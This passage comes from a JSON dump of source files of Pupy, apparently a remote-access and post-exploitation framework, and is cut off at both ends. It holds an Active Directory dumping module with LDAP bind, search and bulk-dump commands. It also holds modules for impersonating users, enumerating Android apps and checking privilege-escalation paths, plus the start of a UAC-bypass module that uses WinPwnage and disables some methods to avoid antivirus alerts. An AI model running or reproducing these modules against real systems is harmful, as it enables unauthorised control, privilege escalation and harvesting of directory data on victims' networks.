'GROUP'),\n    'S-1-5-7': ('Anonymous', 'GROUP'),\n    'S-1-5-8': ('Proxy', 'GROUP'),\n    'S-1-5-9': ('Enterprise Domain Controllers', 'GROUP'),\n    'S-1-5-10': ('Principal Self', 'USER'),\n    'S-1-5-11': ('Authenticated Users', 'GROUP'),\n    'S-1-5-12': ('Restricted Code', 'GROUP'),\n    'S-1-5-13': ('Terminal Server Users', 'GROUP'),\n    'S-1-5-14': ('Remote Interactive Logon', 'GROUP'),\n    'S-1-5-15': ('This Organization ', 'GROUP'),\n    'S-1-5-17': ('This Organization ', 'GROUP'),\n    'S-1-5-18': ('Local System', 'USER'),\n    'S-1-5-19': ('NT Authority', 'USER'),\n    'S-1-5-20': ('NT Authority', 'USER'),\n    'S-1-5-80-0': ('All Services ', 'GROUP'),\n    'S-1-5-32-544': ('Administrators', 'GROUP'),\n    'S-1-5-32-545': ('Users', 'GROUP'),\n    'S-1-5-32-546': ('Guests', 'GROUP'),\n    'S-1-5-32-547': ('Power Users', 'GROUP'),\n    'S-1-5-32-548': ('Account Operators', 'GROUP'),\n    'S-1-5-32-549': ('Server Operators', 'GROUP'),\n    'S-1-5-32-550': ('Print Operators', 'GROUP'),\n    'S-1-5-32-551': ('Backup Operators', 'GROUP'),\n    'S-1-5-32-552': ('Replicators', 'GROUP'),\n    'S-1-5-32-554': ('Pre-Windows 2000 Compatible Access', 'GROUP'),\n    'S-1-5-32-555': ('Remote Desktop Users', 'GROUP'),\n    'S-1-5-32-556': ('Network Configuration Operators', 'GROUP'),\n    'S-1-5-32-557': ('Incoming Forest Trust Builders', 'GROUP'),\n    'S-1-5-32-558': ('Performance Monitor Users', 'GROUP'),\n    'S-1-5-32-559': ('Performance Log Users', 'GROUP'),\n    'S-1-5-32-560': ('Windows Authorization Access Group', 'GROUP'),\n    'S-1-5-32-561': ('Terminal Server License Servers', 'GROUP'),\n    'S-1-5-32-562': ('Distributed COM Users', 'GROUP'),\n    'S-1-5-32-568': ('IIS_IUSRS', 'GROUP'),\n    'S-1-5-32-569': ('Cryptographic Operators', 'GROUP'),\n    'S-1-5-32-573': ('Event Log Readers', 'GROUP'),\n    'S-1-5-32-574': ('Certificate Service DCOM Access', 'GROUP'),\n    'S-1-5-32-575': ('RDS Remote Access Servers', 'GROUP'),\n    'S-1-5-32-576': ('RDS Endpoint Servers', 'GROUP'),\n    'S-1-5-32-577': ('RDS Management Servers', 'GROUP'),\n    'S-1-5-32-578': ('Hyper-V Administrators', 'GROUP'),\n    'S-1-5-32-579': ('Access Control Assistance Operators', 'GROUP'),\n    'S-1-5-32-580': ('Access Control Assistance Operators', 'GROUP')\n}\n\naccess_mask_flags = OrderedDict([\n    ('GenericAll', 0x000F01FF),\n    ('GenericWrite', 0x00020028),\n    ('GenericRead', 0x00020094),\n    ('GENERIC_EXECUTE', 0x00020004),\n    ('ACCESS_SYSTEM_SECURITY', 0x01000000),\n    ('SYNCHRONIZE', 0x00100000),\n    ('WriteOwner', 0x00080000),\n    ('WriteDacl', 0x00040000),\n    ('READ_CONTROL', 0x00020000),\n    ('DELETE', 0x00010000),\n    ('ADS_RIGHT_DS_CONTROL_ACCESS', 0x00000100),\n    ('ADS_RIGHT_DS_CREATE_CHILD', 0x00000001),\n    ('ADS_RIGHT_DS_DELETE_CHILD', 0x00000002),\n    ('ADS_RIGHT_DS_READ_PROP', 0x00000010),\n    ('ADS_RIGHT_DS_WRITE_PROP', 0x00000020),\n    ('ADS_RIGHT_DS_SELF', 0x00000008),\n])\n\n\ndef _sid(sid):\n    value, _ = sid_translations.get(sid, (None, None))\n    if value:\n        return value\n\n    return sid\n\n\ndef json_default(o):\n    if isinstance(o, datetime):\n        return o.isoformat()\n\n\n#Convert password max age (in 100 nanoseconds), to days\ndef nsToDays(length):\n    return abs(length) * .0000001 // 86400\n\n\ndef nsToMinutes(length):\n    return abs(length) * .0000001 // 60\n\n\ndef toDateTime(filetime):\n    if isinstance(filetime, datetime):\n        return filetime\n\n    if not filetime:\n        return datetime.utcfromtimestamp(0)\n\n    return datetime.utcfromtimestamp(float(\n        (filetime // 10000000) - 11644473600))\n\n\n#Parse bitwise flags into a list\ndef parseFlags(attr, flags_def, bits=True):\n    if not attr:\n        return tuple()\n\n    if not isinstance(attr, int):\n        attr = int(attr)\n\n    return tuple(\n        flag for flag, val in flags_def.items()\n        if (bits and (attr & val == val)) or (\n            not bits and attr == val\n        )\n    )\n\n\ndef LDAPAclMaskToSet(mask):\n    result = []\n    rest = mask['Mask']\n\n    for flag, value in access_mask_flags.items():\n        if (rest & value) == value:\n            result.append(flag)\n            rest &= ~value\n            if not rest:\n                break\n\n    if not result and rest:\n        result.append(rest)\n\n    return result\n\n\ndef LDAPAclToDict(acl):\n    if not acl:\n        return None\n\n    result = []\n    for ace in acl.aces:\n        sid = ace['Ace']['Sid'].formatCanonical()\n        result.append({\n            'Type': ace['TypeName'][:-4],\n            'Sid': _sid(sid),\n            'Mask': LDAPAclMaskToSet(ace['Ace']['Mask'])\n        })\n\n    return result\n\n\ndef LDAPAclOwnerToDict(owner):\n    if not owner:\n        return None\n\n    sid = owner.formatCanonical()\n    return _sid(sid)\n\n\ndef LDAPSdToDict(descriptor):\n    if not descriptor:\n        return None\n\n    return {\n        'Owner': LDAPAclOwnerToDict(descriptor['OwnerSid']),\n        'Group': LDAPAclOwnerToDict(descriptor['GroupSid']),\n        'SACL': LDAPAclToDict(descriptor['Sacl']),\n        'DACL': LDAPAclToDict(descriptor['Dacl'])\n    }\n\n\ndef formatAttribute(key, att, formatCnAsGroup=False):\n    aname = key.lower()\n\n    if isinstance(att, tuple) and \\\n            len(att) == 1 and not isinstance(att[0], dict):\n        att = att[0]\n        if isinstance(att, basestring):\n            att = att.strip()\n            try:\n                att = int(att)\n            except ValueError:\n                try:\n                    att = float(att)\n                except ValueError:\n                    pass\n\n    if aname == 'useraccountcontrol':\n        return parseFlags(att, uac_flags)\n\n    #Pwd flags\n    elif aname == 'pwdproperties':\n        return parseFlags(att, pwd_flags)\n\n    #Sam flags\n    elif aname == 'samaccounttype':\n        return parseFlags(att, sam_flags, False)\n\n    #Domain trust flags\n    elif aname == 'trustattributes':\n        return parseFlags(att, trust_flags)\n\n    elif aname == 'trustdirection':\n        if  att == 0:\n            return 'DISABLED'\n        else:\n            return parseFlags(att, trust_directions, False)\n\n    elif aname == 'trusttype':\n        return parseFlags(att, trust_type)\n\n    elif aname in (\n            'securityidentifier', 'objectsid') and att.startswith('hex:'):\n        sid = format_sid(att[4:].decode('hex'))\n        return _sid(sid)\n\n    elif aname == 'minpwdage' or aname == 'maxpwdage':\n        return '%.2f days' % nsToDays(att)\n\n    elif aname == 'lockoutobservationwindow' or aname == 'lockoutduration':\n        return '%.1f minutes' % nsToMinutes(att)\n\n    elif aname == 'objectguid' and att.startswith('hex:'):\n        return '{' + str(UUID(att[4:])) + '}'\n\n    elif aname in (\n        'pwdlastchange', 'badpasswordtime', 'lastlogon',\n            'lastlogontimestamp', 'lockouttime'):\n        return toDateTime(att)\n\n    elif aname in ('ntsecuritydescriptor',):\n        if att.startswith('hex:'):\n            att = att[4:].decode('hex')\n        srsd = SR_SECURITY_DESCRIPTOR()\n        srsd.fromString(att)\n        return LDAPSdToDict(srsd)\n\n    return att\n\n\ndef from_tuple_deep(obj, format=True):\n    kind, data = obj\n    if kind == IMM:\n        if isinstance(data, str):\n            try:\n                return data.decode('utf-8')\n            except UnicodeDecodeError:\n                return 'hex:' + data.encode('hex')\n\n        return data\n\n    elif kind == LIST:\n        return tuple(\n            from_tuple_deep(item) for item in data\n        )\n\n    elif kind == MAP and format:\n        return {\n            k: formatAttribute(k, from_tuple_deep(v)) for (k, v) in data\n        }\n\n    elif kind == MAP and not format:\n        return {\n            k: from_tuple_deep(v) for (k, v) in data\n        }\n\n    elif kind == DATE:\n        return datetime.utcfromtimestamp(data)\n\n    else:\n        raise ValueError('Invalid kind ({})'.format(kind))\n\n\ndef _get_field(result, field):\n    if field in result:\n        return result[field]\n\n    l_field = field.lower()\n    for r_field in result:\n        if r_field.lower() == l_field:\n            return result[r_field]\n\n    raise AttributeError(field)\n\n\n@config(cat='admin')\nclass AD(PupyModule):\n    ''' Dump information from Active Directory '''\n\n    dependencies = {\n        'all': ['gssapi', 'ldap3'],\n        'posix': ['kerberos'],\n        'windows': ['winkerberos']\n    }\n\n    terminate = None\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(\n            prog='ad', description=cls.__doc__)\n        cls.arg_parser.add_argument(\n            '-G', '--global-catalog', default=False, action='store_true',\n            help='Use AD Global catalg'\n        )\n\n        cls.arg_parser.add_argument(\n            '-r', '--realm', help='Realm to work with'\n        )\n\n        commands = cls.arg_parser.add_subparsers(title='commands')\n\n        bind = commands.add_parser('bind', help='Bind to server')\n        bind.add_argument('-l', '--ldap-server', help='DNS address of LDAP server')\n        bind.add_argument('-T', '--recv-timeout', default=60, help='Socket read timeout')\n        bind.add_argument('-u', '--username', help='Username to authenticate')\n        bind.add_argument('-p', '--password', help='Password to authenticate')\n        bind.add_argument('-d', '--domain', help='Domain for Username')\n        bind.add_argument('-r', '--root', help='LDAP root')\n        bind.set_defaults(func=cls.bind)\n\n        unbind = commands.add_parser('unbind', help='Disconnect and forget realm')\n        unbind.set_defaults(func=cls.unbind)\n\n        bounded = commands.add_parser('list', help='Show bounded realms')\n        bounded.set_defaults(func=cls.bounded)\n\n        info = commands.add_parser('info', help='Info about current AD context')\n        info.set_defaults(func=cls.getinfo)\n\n        dump = commands.add_parser('dump', help='Dump results of large searches')\n        dump.add_argument('-f', '--filter', help='LDAP custom filter')\n        dump.add_argument(\n            '-F', '--full', default=False,\n            action='store_true', help='Dump all attributes')\n        dump.add_argument(\n            'target', nargs='?',\n            help='Categories to dump, i.e.: users,computers OR '\n            'filter like (&(attr=XYZ)(attr2=CCC))'\n        )\n        dump.set_defaults(func=cls.dump)\n\n        childs = commands.add_parser('childs', help='Related AD servers')\n        childs.set_defaults(func=cls.childs)\n\n        search = commands.add_parser(\n            'search',\n            help='Search in AD (only small and fast, for large use dump)'\n        )\n        search.add_argument(\n            '-T', '--table', action='store_true', default=False,\n            help='Output as table'\n        )\n        search.add_argument(\n            'term', help='Search filter',\n            default='(objectClass=domain)',\n        )\n        search.add_argument(\n            'attributes', nargs='?',\n            help='Attributes to search (Use * for ALL, default none)'\n        )\n\n        level = search.add_mutually_exclusive_group()\n        level.add_argument(\n            '-1', '--base', default=False, action='store_true',\n            help='Use base search instead of subtree search. Default: False'\n        )\n        level.add_argument(\n            '-L', '--level', default=False, action='store_true',\n            help='Use level search instead of subtree search. Default: False'\n        )\n\n        search.add_argument(\n            '-r', '--root', help='Use root instead of autodiscovered one'\n        )\n        search.add_argument(\n            '-n', '--amount', default=5, type=int,\n            help='Amount of records. Default: 5'\n        )\n        search.add_argument(\n            '-t', '--timeout', default=5, type=int,\n            help='Timeout (seconds). Default: 5'\n        )\n        search.set_defaults(func=cls.search)\n\n    def _show_exception(self, e):\n        if hasattr(e, 'message') and hasattr(e, 'type'):\n            report = []\n            if hasattr(e, 'childs') and e.childs and not isinstance(e.childs, str):\n                for (authentication, ldap_server,\n                        domain, user, _, emessage) in e.childs:\n                    report.append({\n                        'Method': authentication,\n                        'Server': ldap_server,\n                        'Domain': domain,\n                        'User': user,\n                        'Message': emessage\n                    })\n\n                self.error(\n                    Table(report, [\n                        'Method', 'Server', 'Domain', 'User', 'Message'\n                    ], caption=str(e))\n                )\n            else:\n                self.error('AD Error ({}): {}'.format(\n                    e.type, str(e)))\n        else:\n            self.error(e)\n\n    def run(self, args):\n        try:\n            if args.realm == '.':\n                args.realm = None\n\n            args.func(self, args)\n        except Exception as e:\n            self._show_exception(e)\n\n    def _output_search_results(self, results, fields, table=False, realm=None):\n        if not results:\n            return\n\n        is_list = False\n        is_table = False\n\n        if len(fields) == 1:\n            _results = [\n                _get_field(line, fields[0]) for line in results\n            ]\n\n            is_list = all(\n                not isinstance(record, (dict, tuple, list))\n                for record in _results\n            )\n\n            if is_list:\n                results = _results\n\n        elif table and fields:\n            results = [\n                {\n                    field: _get_field(result, field)\n                    for field in fields\n                } for result in results\n            ]\n\n            is_table = all(\n                all(\n                    not isinstance(value, (dict, tuple, list))\n                    for value in record.values()\n                ) for record in results\n            )\n\n        if is_list:\n            self.log(\n                List(results, caption=realm)\n            )\n        elif is_table:\n            self.log(\n                Table(results, fields or None, caption=realm)\n            )\n        else:\n            filtered = results\n            if fields:\n                filtered = [\n                    {\n                        field: _get_field(result, field) for field in fields\n                    } for result in results\n                ]\n\n            formatted_json = dumps(\n                filtered,\n                indent=2, sort_keys=True,\n                default=json_default,\n                ensure_ascii=False\n            )\n\n            if realm:\n                self.log('+ ' + realm)\n\n            self.log(\n                Pygment(lexers.JsonLexer(), formatted_json)\n            )\n\n    def search(self, args):\n        search = self.client.remote('ad', 'search')\n\n        level = SUBTREE\n        if args.base:\n            level = BASE\n        elif args.level:\n            level = LEVEL\n\n        need_attrs = []\n\n        term = args.term\n        attributes = args.attributes\n\n        if term:\n            term = term.strip()\n\n        if attributes:\n            attributes = attributes.strip()\n\n        if not attributes:\n            if term and not term.startswith('('):\n                attributes = term\n                term = '(objectClass=*)'\n            else:\n                attributes = NO_ATTRIBUTES\n\n        fields = []\n\n        if attributes in (ALL_ATTRIBUTES, ALL_OPERATIONAL_ATTRIBUTES):\n            pass\n        elif attributes == NO_ATTRIBUTES:\n            fields.append('dn')\n        else:\n            attributes = [\n                attribute.strip() for attribute in attributes.split(',')\n            ]\n\n            for attribute in attributes:\n                fields.append(attribute)\n\n                if attribute.lower() == 'dn':\n                    continue\n\n                need_attrs.append(attribute)\n\n            attributes = tuple(need_attrs)\n\n        ok, result = search(\n            args.realm, args.global_catalog,\n            term, attributes,\n            level, args.root,\n            args.amount, args.timeout,\n            False\n        )\n\n        if not ok:\n            self.error(result)\n            return\n\n        results = from_tuple_deep(result, True)\n\n        if isinstance(results, dict):\n            for realm, results in results.items():\n                self._output_search_results(results, fields, args.table, realm)\n        else:\n            self._output_search_results(results, fields, args.table)\n\n    def unbind(self, args):\n        unbind = self.client.remote('ad', 'unbind')\n        unbind(args.realm, args.global_catalog)\n\n    def childs(self, args):\n        childs = self.client.remote('ad', 'childs')\n        ok, result = childs(args.realm, args.global_catalog)\n\n        if not ok:\n            self.error(result)\n            return\n\n        i_am, rootdn, childs = result\n\n        self.log(List(childs, caption='Root: {} Whoami: {}'.format(rootdn, i_am)))\n\n    def bounded(self, args):\n        bounded = self.client.remote('ad', 'bounded')\n        self.log(Table([\n            {\n                'TYPE': btype,\n                'REALM': realm\n            } for (btype, realm) in bounded()\n        ], ['TYPE', 'REALM']))\n\n    def getinfo(self, args):\n        info = self.client.remote('ad', 'info')\n        desc = from_tuple_deep(info(\n            args.realm, args.global_catalog), False)\n        idesc = desc.get('info', {})\n\n        infos = []\n\n        versions = idesc.get(\n            'supported_ldap_versions', []\n        )\n\n        if not hasattr(versions, '__iter__') and not isinstance(versions, str):\n            versions = [versions]\n\n        infos.append(\n            List([\n                'Bind: ' + desc.get('bind', ''),\n                'Root: ' + desc.get('root', ''),\n                'LDAP: ' + desc.get('ldap', ''),\n                'DNS: ' + desc['dns'][4][0] if desc.get('dns', None) else '',\n                'Schema: ' + idesc.get('schema_entry', ''),\n                'Versions: ' + ', '.join(str(version) for version in versions),\n                'SASL Mechs: ' + ', '.join(\n                    mech for mech in idesc.get(\n                        'supported_sasl_mechanisms', []\n                    )\n                )\n            ], caption='Connection')\n        )\n\n        if desc['ldap_servers']:\n            infos.append(\n                Table(\n                    desc['ldap_servers'],\n                    ['address', 'port', 'priority'],\n                    caption='LDAP Servers'\n                )\n            )\n\n        if desc['dns_servers']:\n            infos.append(\n                Table([\n                    {\n                        'IP': dns[0][4][0] + (\n                            '/tcp' if dns[0][2] == 2 else '/udp'\n                        ),\n                        'Delay': '{:.02f}ms'.format(dns[1] * 1000),\n                    } for dns in desc['dns_servers']\n                ], ['IP', 'Delay'], caption='DNS Servers')\n            )\n\n        if not idesc:\n            self.log(MultiPart(infos))\n            return\n\n        if idesc['alt_servers']:\n            infos.append(\n                List(idesc['alt_servers'], caption='Alternate servers')\n            )\n\n        if idesc['naming_contexts'] and not isinstance(\n                idesc['naming_contexts'], basestring):\n            infos.append(\n                List(\n                    idesc['naming_contexts'],\n                    caption='Naming contexts'\n                )\n            )\n\n        supported = []\n        for table in ('supported_controls',\n                'supported_extensions', 'supported_features'):\n            for oid, klass, name, vendor in idesc[table]:\n                supported.append({\n                    'OID': oid,\n                    'Type': klass,\n                    'Name': name,\n                    'Vendor': vendor\n                })\n\n        if supported:\n            infos.append(\n                Table(\n                    supported, [\n                        'OID', 'Type', 'Name', 'Vendor'\n                    ],\n                    caption='Supported features and extensions'\n                )\n            )\n\n        if 'other' in idesc:\n            infos.append(\n                List(tuple(\n                    '{}: {}'.format(key, value)\n                    for key, value in idesc['other'].items()\n                    if key not in ('supportedLDAPPolicies',)\n                ),\n                caption='Other info')\n            )\n\n        self.log(MultiPart(infos))\n\n    def dump(self, args):\n        addump = self.client.remote('ad', 'dump', False)\n        config = self.client.pupsrv.config or PupyConfig()\n\n        context = {\n            'last_name': None,\n            'last_fobj': None,\n        }\n\n        completion = Event()\n\n        def on_data(name, payload):\n            if name == 'dns':\n                self.success('DNS server selected: {}'.format(payload))\n            elif name == 'ldap':\n                self.success('LDAP server selected: {}'.format(payload))\n            elif name == 'error':\n                self.error('Error: {}'.format(payload))\n            else:\n                is_first = False\n\n                if context['last_name'] != name:\n                    is_first = True\n\n                    if context['last_name']:\n                        self.success('Completed {}'.format(context['last_name']))\n\n                    dest = config.get_file(\n                        'ad', {\n                            r'%c': self.client.short_name(),\n                            r'%n': basename(name),\n                            r'%r': args.realm\n                        }\n                    )\n\n                    self.success('Dumping {} -> {}'.format(name, dest))\n                    context['last_name'] = name\n                    if context['last_fobj']:\n                        context['last_fobj'].write(u'\\n]')\n                        context['last_fobj'].close()\n\n                    context['last_fobj'] = open(\n                        dest, 'w+', encoding='utf-8')\n\n                    context['last_fobj'].write(u'[\\n')\n\n                for record in from_tuple_deep(payload):\n                    if is_first:\n                        is_first = False\n                    else:\n                        context['last_fobj'].write(u',')\n\n                    record_json = dumps(\n                        record, indent=2, sort_keys=True,\n                        default=json_default,\n                        ensure_ascii=False\n                    )\n\n                    context['last_fobj'].write(record_json)\n\n        def on_complete():\n            if context['last_fobj']:\n                context['last_fobj'].write(u']')\n                context['last_fobj'].close()\n                context['last_fobj'] = None\n\n            if context['last_name']:\n                self.success('Completed {}'.format(context['last_name']))\n                context['last_name'] = None\n\n                self.success('Dump completed')\n\n            completion.set()\n\n        self.terminate = addump(\n            on_data, on_complete,\n            args.realm, args.global_catalog,\n            args.filter or args.target, not args.full\n        )\n\n        completion.wait()\n\n    def bind(self, args):\n        bind = self.client.remote('ad', 'bind', False)\n        completion = Event()\n\n        def on_data(payload):\n            if isinstance(payload, tuple):\n                self.info(List(payload[1], caption=payload[0]))\n            else:\n                self.info(payload)\n\n        def on_completed(success, payload):\n            try:\n                if success:\n                    self.success('Bound to server: {}'.format(payload))\n                else:\n                    self._show_exception(payload)\n            finally:\n                completion.set()\n\n        self.terminate = bind(\n            on_data, on_completed,\n            args.realm, args.global_catalog,\n            args.ldap_server, args.recv_timeout,\n            args.domain, args.username, args.password,\n            args.root\n        )\n\n        completion.wait()\n\n    def interrupt(self):\n        if self.terminate:\n            self.terminate()\n        else:\n            raise NotImplementedError()\n"
  },
  {
    "path": "pupy/modules/alive.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\n\n__class_name__=\"alive\"\n\n@config(cat=\"admin\")\nclass alive(PupyModule):\n    \"\"\" request to send keepalive packets on rpyc level \"\"\"\n    is_module=False\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"alive\", description=cls.__doc__)\n        cls.arg_parser.add_argument('-t', '--timeout', type=int, help='ping timeout')\n        cls.arg_parser.add_argument('-i', '--interval', type=int, help='ping send interval')\n\n    def run(self, args):\n        try:\n            interval, timeout = self.client.conn._conn.root.getconn().set_pings(\n                args.interval, args.timeout\n            )\n\n            if interval is not None and timeout is not None:\n                self.success('Interval: {}'.format(interval))\n                self.success('Timeout:  {}'.format(timeout))\n            else:\n                self.success('Pings disabled')\n\n        except Exception as e:\n            self.error('Pings configuration is not supported ({})'.format(e))\n"
  },
  {
    "path": "pupy/modules/apps.py",
    "content": "# -*- coding: utf-8 -*-\n#Author: @bobsecq\n#Contributor(s):\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n__class_name__=\"apps\"\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\n\n@config(cat=\"gather\", compat=[\"android\"])\nclass apps(PupyModule):\n    \"\"\" to interact manage applications \"\"\"\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='apps', description=cls.__doc__)\n        cls.arg_parser.add_argument('-a', '--get-all', action='store_true', help='get all installed package names')\n        cls.arg_parser.add_argument('-d', '--get-all-detailed', action='store_true', help='get all applications installed with details')\n        cls.arg_parser.add_argument('-c', '--contain', dest='contain', default=None, help='get all applications installed when package name contains the string given')\n\n    def run(self, args):\n        self.client.load_package(\"pupydroid.utils\")\n        self.client.load_package(\"pupydroid.apps\")\n        if args.get_all or args.get_all_detailed:\n            self.success(\"Getting applications installed...\")\n            apps = self.client.conn.modules['pupydroid.apps'].getAllAps()\n            self.success(\"{0} applications installed on the device\".format(len(apps)))\n            print(\"Applications installed:\")\n            if args.get_all_detailed:\n                print(\"- Process name: The name of the process this application should run in\")\n                print(\"- Source dir: Full path to the base APK for this application\")\n                print(\"- Public source dir: Full path to the publicly available parts of sourceDir, including resources and manifest.\")\n                print(\"- Data dir: Full path to the default directory assigned to the package for its persistent data.\")\n                print(\"- Shared Lib Files: Paths to all shared libraries this application is linked against. \")\n            for i, anApp in enumerate(apps):\n                if args.get_all_detailed:\n                    if args.contain is None or (args.contain is not None and args.contain in anApp['packageName']):\n                        print(\"-\"*30)\n                        print(\"- Package name ({1}): {0}\".format(anApp['packageName'], i))\n                        print(\"- Process name      : {0}\".format(anApp['processName']))\n                        print(\"- Source dir        : {0}\".format(anApp['sourceDir']))\n                        print(\"- Public source dir : {0}\".format(anApp['publicSourceDir']))\n                        print(\"- Data dir          : {0}\".format(anApp['dataDir']))\n                        print(\"- Shared Lib Files  : {0}\".format(anApp['sharedLibraryFiles']))\n                        print(\"- Permissions       :\")\n                        for aPerm in anApp['permissions']:\n                            print(\"   * {0}\".format(aPerm))\n                elif args.get_all:\n                    print(\"[{0}] {1}\".format(i, anApp['packageName']))\n"
  },
  {
    "path": "pupy/modules/become.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\n\n__class_name__=\"Become\"\n\n@config(compat=['linux', 'posix'], cat=\"admin\")\nclass Become(PupyModule):\n    \"\"\" Become user \"\"\"\n\n    dependencies = ['become']\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='users', description=cls.__doc__)\n        action = cls.arg_parser.add_mutually_exclusive_group(required=True)\n        action.add_argument('-u', '--user', help='Become user')\n        action.add_argument('-r', '--restore', action='store_true', help='Restore previous user')\n\n    def run(self, args):\n        become = self.client.remote('become', 'become', False)\n        restore = self.client.remote('become', 'restore', False)\n\n        try:\n            if args.restore:\n                restore()\n                self.success('Context restored')\n            else:\n                become(args.user)\n                self.success('You became {}'.format(args.user))\n\n        except Exception as e:\n            self.error(str(e))\n"
  },
  {
    "path": "pupy/modules/beroot.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\n\n__class_name__=\"Beroot\"\n\n\n@config(cat=\"admin\", compat=[\"linux\", \"windows\"])\nclass Beroot(PupyModule):\n    \"\"\"Check for privilege escalation path\"\"\"\n\n    dependencies = {\n        'linux': [\n            'beroot'\n        ],\n        'windows': [\n            'pyexpat', 'xml', '_elementtree', 'xml.etree', 'win32net', 'beroot'\n        ]\n    }\n\n    @classmethod\n    def init_argparse(cls):\n        \"\"\"\n        Check the project on github: https://github.com/AlessandroZ/BeRoot\n        \"\"\"\n        header = '|====================================================================|\\n'\n        header += '|                                                                    |\\n'\n        header += '|                        The BeRoot Project                          |\\n'\n        header += '|                                                                    |\\n'\n        header += '|                          ! BANG BANG !                             |\\n'\n        header += '|                                                                    |\\n'\n        header += '|====================================================================|\\n\\n'\n\n        cls.arg_parser = PupyArgumentParser(prog=\"beroot\", description=header + cls.__doc__)\n        cls.arg_parser.add_argument(\"-p\", \"--password\", action=\"store\", default=None, help=\"if no NOPASSWD in sudoers, \"\n                                                                                           \"sudo -ll needs user \"\n                                                                                           \"password (Linux only)\")\n\n    def run(self, args):\n\n        run_beroot = self.client.remote('beroot.run', 'run')\n        if self.client.is_windows():\n            results = run_beroot()\n            if results:\n                for r in results:\n                    self.windows_output(r)\n            else:\n                self.log('Nothing found.')\n        else:\n            results = run_beroot(args.password, to_print=False)\n            self.log(results)\n\n    def windows_output(self, output):\n        st = '\\n################ {category} ################\\n'.format(category=output['category'])\n        if output.get('error'):\n            st += output.get('error')\n        else:\n            for desc, result in output.get('results'):\n                if result:\n                    st += '\\n# %s\\n' % desc\n                    st += '%s\\n' % result\n\n        self.log(st)\n"
  },
  {
    "path": "pupy/modules/bypassuac.py",
    "content": "# -*- coding: utf-8 -*-\n# Bypassuac techniques use WinPwnage tool\n# https://github.com/rootm0s/WinPwnage\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\nimport os\n\nif sys.version_info.major > 2:\n    xrange = range\n\nfrom pupy.modules.lib.windows import powerloader\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.network.lib.rpc.utils.classic import upload\nfrom pupy.network.lib.convcompat import shlex\n\nimport random\nimport string\n\n__class_name__ = 'BypassUAC'\n\n\n@config(compat=\"windows\", category=\"privesc\")\nclass BypassUAC(PupyModule):\n    '''\n    Be carefull, most of bypass methods are detected by AV...\n    '''\n\n    dependencies = [\n        'winpwnage.core', 'winpwnage.functions.uac',\n        'pupwinutils.security', 'powerloader'\n    ]\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(\n            prog='bypassuac', description=cls.__doc__\n        )\n\n        cls.arg_parser.add_argument(\n            '-l', dest='scan', action='store_true', default=False,\n            help=\"List all possible techniques for this host\"\n        )\n        cls.arg_parser.add_argument(\n            '-e', dest='exe', default=None,\n            help=\"Custom exe to execute as admin\"\n        )\n        cls.arg_parser.add_argument(\n            '-r', dest='restart', action='store_true', default=False,\n            help=\"Restart current executable as admin\"\n        )\n        cls.arg_parser.add_argument(\n            '-m', dest='method',\n            help=\"Should be an ID, get the list scanning which \"\n            \"methods are possible (-l)\"\n        )\n\n    def parse_result(self, result, print_result=True, get_method_id=True):\n        '''\n        Parse result returned by WinPwnage\n        Return the best method id if possible\n        '''\n\n        func = {\n            't': self.log,\n            'ok': self.success,\n            'error': self.error,\n            'info': self.info,\n            'warning': self.warning\n        }\n\n        preferred_methods = self.client.pupsrv.config.get(\n            'bypassuac', 'preferred_methods'\n        ).split(',')\n\n        method_id = []\n        for tag, message in result:\n            if tag in func:\n                if print_result:\n                    func[tag](message)\n                if tag == 'ok' and get_method_id:\n                    method_id.append(message.split()[0])\n\n        if get_method_id:\n            for p in preferred_methods:\n                if p in method_id:\n                    return p\n\n    def launch_scan(self, print_result=True):\n        '''\n        Check all possible methods found on the target to bypass uac\n        '''\n\n        scanner = self.client.remote(\n            'winpwnage.core.scanner', 'scanner', False\n        )\n\n        result = scanner(\n            uac=True, persist=False, elevate=False, execute=False\n        ).start()\n\n        return self.parse_result(result, print_result)\n\n    def run(self, args):\n        can_get_admin_access = self.client.remote(\n            'pupwinutils.security', 'can_get_admin_access', False\n        )\n\n        # Check if a UAC bypass can be done\n        if not can_get_admin_access():\n            self.error('Your are not on the local administrator group.')\n            return\n\n        if args.scan:\n            self.launch_scan()\n            return\n\n        if not args.scan and not args.method:\n            method = self.launch_scan(print_result=False)\n            if not method:\n                self.error(\n                    'Get the list of possible methods (-l) '\n                    'and bypass uac using -m <id>'\n                )\n                return\n        else:\n            method = args.method\n\n        # TO CHANGE:\n        # A way should be found to automatically generate a dll\n        # (ex: using a generic dll which launch a bat script)\n\n        if method in ('11', '12', '13', '14'):\n            self.warning(\n                'This technique needs to upload a dll. '\n                'It has been temporary disabled to avoid AV alerts'\n            )\n            return\n\n        # Weird error, root cause not found yet\n        if method in '07':\n            self.warning(\n                'This technique does not work with custom exe, '\n                'only work with cmd.exe'\n            )\n            return\n\n        # Check if it is a bind shell\n        is_bind_launcher = False\n        launcher_type = self.client.desc['launcher']\n        address_port = self.client.desc['address']\n\n        # Case of a pupy bind shell if ps1 mode is used\n        # (no reverse connection possible)\n        if launcher_type == 'bind':\n            self.info(\n                'The current pupy launcher is using a BIND connection. '\n                'It is listening on {0} on the target'.format(\n                    address_port\n                )\n            )\n            is_bind_launcher = True\n\n    